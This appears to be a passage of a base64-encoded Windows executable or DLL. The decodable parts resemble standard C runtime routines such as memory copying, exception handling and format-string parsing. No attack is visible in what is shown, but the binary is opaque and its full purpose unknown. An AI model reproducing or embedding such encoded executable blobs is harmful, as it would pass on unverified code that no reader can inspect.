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QSF9nVvi4WY+///O8N1KoX2eCk783Yl61uLhYz7//8LwXRNhdt0FYX2eQSID+sNi4WY+///O8N0TYgMB42N5Pv//+iLCgAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvo8OH//4vlXcOF23UFg87/68OLhZj7//87w3W2av5eiEwf/+uwi/9Vi+yB7IQEAAChFPAREDPFiUX8g30YAItFEFOLXRSJhaD7//91GOhs2QAAxwAWAAAA6CrWAACDyP/pFwEAAIXbdASFwHTgVlf/dRyNjXz7///oawkAAItNCI29kPv//zPAM9Krq6uri8GLvaD7//+D4AKJhYz7//8Lwom9kPv//4mdlPv//4mVmPv//3UKiJWc+///hf91B8aFnPv//wH/dSCNhZD7//+JhaD7//+NhYD7//9Q/3UYjYWg+////3UMUVCNjaT7///ovggAAI2NpPv//+gJEAAAi/CF/3RRi0UIg+ABg8gAdByF23UEhfZ1douFmPv//zvDdS6F9ngwO/N2LOtii4WM+///g8gAdFOF23QbhfZ5BzPAZokH6xCLhZj7//87w3RQM8lmiQxHjY3k+///6AkJAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+hu4P//i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbNq/l4zwGaJRF/+662L/1WL7IHshAQAAKEU8BEQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6OfXAADHABYAAADopdQAAIPI/+kRAQAAhdt0BIXAdOBWV/91HI2NfPv//+jmBwAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+gEBwAAjY2k+///6EgMAACL8IX/dEuLRQgzyYPgAQvBdByF23UEhfZ1b4uFmPv//zvDdSqF9ngpO/N2Jetbi4WM+///C8F0TYXbdBWF9nkEiA/rDYuFmPv//zvDdE2IDAeNjeT7///oigcAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6O/e//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1t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